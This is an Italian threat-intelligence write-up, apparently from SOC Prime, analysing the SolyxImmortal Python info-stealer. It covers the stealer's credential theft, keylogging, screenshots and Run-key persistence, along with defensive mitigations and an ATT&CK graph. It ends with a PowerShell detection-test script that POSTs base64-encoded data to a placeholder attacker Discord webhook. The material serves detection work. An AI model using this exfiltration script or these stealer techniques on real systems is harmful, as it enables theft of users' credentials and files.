SOC Prime Bias: Medio

26 Gen 2026 20:32

SOLYXIMMORTAL : ANALISI DEL MALWARE PYTHON

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
SOLYXIMMORTAL : ANALISI DEL MALWARE PYTHON
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

Sol yxImmortal è un info-stealer per Windows basato su Python che raccoglie credenziali, documenti, sequenze di tasti e schermate, per poi esfiltrare i dati tramite webhook di Discord. Il malware si esegue interamente nello spazio utente, mantiene la persistenza piantando una copia nella directory AppData dell’utente e impostando un valore di registro Run-key, continuando a operare senza presentare alcuna interfaccia utente visibile.

Indagine

L’analisi ha rivelato due URL di webhook Discord integrati e l’uso di Windows DPAPI per decrittare le credenziali dei browser basati su Chromium. Lo stealer registra le sequenze di tasti tramite un hook della tastiera, traccia la finestra attiva per identificare i possibili titoli di applicazioni sensibili e cattura schermate a intervalli regolari. La persistenza è implementata copiando il payload in una posizione nascosta sotto %AppData% e aggiungendo un valore al tasto HKCU Run per attivare l’esecuzione al logon dell’utente.

Mitigazione

Enforce l’elenco di applicazioni consentite, monitora la creazione e l’esecuzione di binari da percorsi scrivibili dall’utente, rileva le modifiche ai tasti Run a livello di utente e invia avvisi sull’attività HTTPS POST in uscita verso gli endpoint Webhook di Discord. Rafforza i controlli sugli archivi di credenziali del browser e riduci l’esposizione degli endpoint limitando o governando strettamente l’uso di linguaggi di scripting ove possibile.

Risposta

Dopo il rilevamento, isola l’endpoint interessato, rimuovi la copia malevola residente in AppData, elimina il valore di Run-key associato e blocca gli URL di webhook Discord identificati. Ruota le credenziali per gli account potenzialmente interessati ed esegui la raccolta forense di log delle sequenze di tasti, schermate e database del browser per supportare la definizione e l’analisi della causa principale.

"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef artifact fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff classDef service fill:#ffdd99 %% Technique nodes tech_python["<b>Tecnica</b> – <b>T1059.006</b> Interprete di Comandi e Script: Python<br/><b>Descrizione</b>: Esegue codice Python malevolo per lanciare l’impianto e avviare la funzionalità."] class tech_python technique tech_registry["<b>Tecnica</b> – <b>T1547.001</b> Esecuzione di avvio automatico: Chiavi di Run del Registro<br/><b>Descrizione</b>: Copia il malware in una posizione scrivibile e aggiunge una chiave Run per la persistenza attraverso i logon."] class tech_registry technique tech_hidden["<b>Tecnica</b> – <b>T1564.005</b> Nascondere Artifacts: File System Nascosto<br/><b>Descrizione</b>: Contrassegna la copia malevola con attributi nascosti e di sistema per evitare la scoperta."] class tech_hidden technique tech_browser_creds["<b>Tecnica</b> – <b>T1555.003</b> Credenziali da Archivi Password: Browser Web<br/><b>Descrizione</b>: Estrae e decritta le credenziali salvate nei browser basati su Chromium utilizzando la chiave principale e DPAPI."] class tech_browser_creds technique tech_file_discovery["<b>Tecnica</b> – <b>T1083</b> Scoperta di File e Directory<br/><b>Descrizione</b>: Enumera il file system per localizzare documenti di interesse."] class tech_file_discovery technique tech_keylogging["<b>Tecnica</b> – <b>T1056.001</b> Cattura di Input: Keylogging<br/><b>Descrizione</b>: Registra le sequenze di tasti tramite un ascoltatore persistente della tastiera e le memorizza in memoria."] class tech_keylogging technique tech_screen_capture["<b>Tecnica</b> – <b>T1113</b> Cattura dello Schermo<br/><b>Descrizione</b>: Cattura schermate della finestra in primo piano regolarmente e durante l’attività sensibile."] class tech_screen_capture technique tech_archive["<b>Tecnica</b> – <b>T1560.002</b> Archiviazione dati raccolti: Archivio tramite Biblioteca<br/><b>Descrizione</b>: Comprimi i dati manipolati in un archivio ZIP utilizzando una libreria per ridurre la dimensione e mascherare il contenuto."] class tech_archive technique tech_obfuscate["<b>Tecnica</b> – <b>T1027</b> File e Informazioni Offuscati/Compressi<br/><b>Descrizione</b>: Utilizza la compressione per nascondere i dati prima dell’esfiltrazione."] class tech_obfuscate technique tech_exfil["<b>Tecnica</b> – <b>T1567.004</b> Esfiltrazione tramite Webhook<br/><b>Descrizione</b>: Invia dati raccolti a URL webhook di Discord controllati dall’attaccante su HTTPS."] class tech_exfil technique tech_third_party["<b>Tecnica</b> – <b>T1102.003</b> Servizio Web: Servizi di Terzi<br/><b>Descrizione</b>: Utilizza Discord come servizio terzo per comunicazioni di comando e controllo."] class tech_third_party technique %% Artifact and process nodes artifact_python["<b>Artifact</b> – Lethalcompany.py eseguito su host vittima"] class artifact_python artifact process_copy["<b>Processo</b> – Copia malware nella directory %AppData%"] class process_copy process artifact_persistence["<b>Artifact</b> – Creata chiave Run del Registro per file copiato"] class artifact_persistence artifact artifact_hidden["<b>Artifact</b> – Attributi del file impostati su nascosti e di sistema"] class artifact_hidden artifact artifact_cred_extraction["<b>Artifact</b> – Estrazione di password e cookie Chrome/Edge"] class artifact_cred_extraction artifact artifact_file_search["<b>Artifact</b> – Enumerazione ricorsiva di file .doc, .pdf, .xls nella home utente"] class artifact_file_search artifact artifact_keylog["<b>Artifact</b> – Buffer di sequenze di tasti in memoria svuotato periodicamente"] class artifact_keylog artifact artifact_screenshot["<b>Artifact</b> – Schermate catturate in base a parole chiave del titolo della finestra"] class artifact_screenshot artifact artifact_zip["<b>Artifact</b> – Creato archivio ZIP con dati preparati"] class artifact_zip artifact artifact_exfil["<b>Artifact</b> – HTTPS POST a webhook Discord con archivio e schermate"] class artifact_exfil artifact service_discord["<b>Servizio</b> – Webhook Discord utilizzato per C2 ed esfiltrazione"] class service_discord service %% Connections showing the attack flow artifact_python –>|esegue| tech_python tech_python –>|abilita| process_copy process_copy –>|colloca file in AppData| artifact_persistence artifact_persistence –>|registra| tech_registry artifact_persistence –>|contrassegna come nascosto| tech_hidden tech_hidden –>|applica a| artifact_hidden tech_browser_creds –>|raccoglie| artifact_cred_extraction tech_file_discovery –>|raccoglie| artifact_file_search tech_keylogging –>|cattura| artifact_keylog tech_screen_capture –>|cattura| artifact_screenshot tech_archive –>|crea| artifact_zip tech_obfuscate –>|supporta| tech_archive artifact_zip –>|preparato per| tech_exfil tech_exfil –>|utilizza| service_discord service_discord –>|riceve dati tramite| artifact_exfil tech_third_party –>|fornisce canale per| tech_exfil "

Flusso d’attacco

Esecuzione simulata

Prerequisito: Il controllo di pre-volo di Telemetria e Baseline deve essere superato.

  • Narrazione e Comandi dell’Attacco:
    L’avversario ha già compromesso l’host e raccolto credenziali, log di sequenze di tasti e schermate (T1056.001, T1113). Il prossimo passo è esfiltrare i dati raccolti tramite un webhook malevolo di Discord. Usando PowerShell (nativo, senza binari esterni), il malware crea un payload JSON contenente dati di file codificati in base-64 e li invia all’URL del webhook. Poiché la regola cerca solo il nome host e il metodo HTTP, questa attività dovrebbe generare un avviso.

  • Script di Test di Regressione:

    # Simulazione di esfiltrazione SolyxImmortal tramite webhook di Discord
    param(
        [string]$WebhookUrl = "https://discord.com/api/webhooks/ATTACKER/EXFIL",
        [string]$FilePath    = "$env:TEMPsample.txt"
    )
    
    # 1. Crea un file fittizio che rappresenta i dati raccolti
    Set-Content -Path $FilePath -Value ("SensitiveData_" + (Get-Date).ToString("s"))
    
    # 2. Codifica il contenuto del file in Base64 (simulando l'offuscamento)
    $fileBytes = [System.IO.File]::ReadAllBytes($FilePath)
    $b64Data   = [Convert]::ToBase64String($fileBytes)
    
    # 3. Costruisci il payload JSON atteso dal webhook di Discord
    $payload = @{
        content = "Payload di esfiltrazione"
        embeds  = @(
            @{
                title = "StolenFile.txt"
                description = $b64Data
                color = 16711680
            }
        )
    } | ConvertTo-Json -Depth 5
    
    # 4. Invia la richiesta HTTPS POST
    Invoke-WebRequest -Uri $WebhookUrl -Method POST -Body $payload -ContentType "application/json" -UseBasicParsing
    
    Write-Host "Tentativo di esfiltrazione inviato."
  • Comandi di Pulizia:

    # Rimuovi il file fittizio e cancella eventuali variabili residue
    Remove-Item -Path "$env:TEMPsample.txt" -ErrorAction SilentlyContinue
    Remove-Variable -Name WebhookUrl, FilePath, fileBytes, b64Data, payload -ErrorAction SilentlyContinue
    Write-Host "Pulizia completata."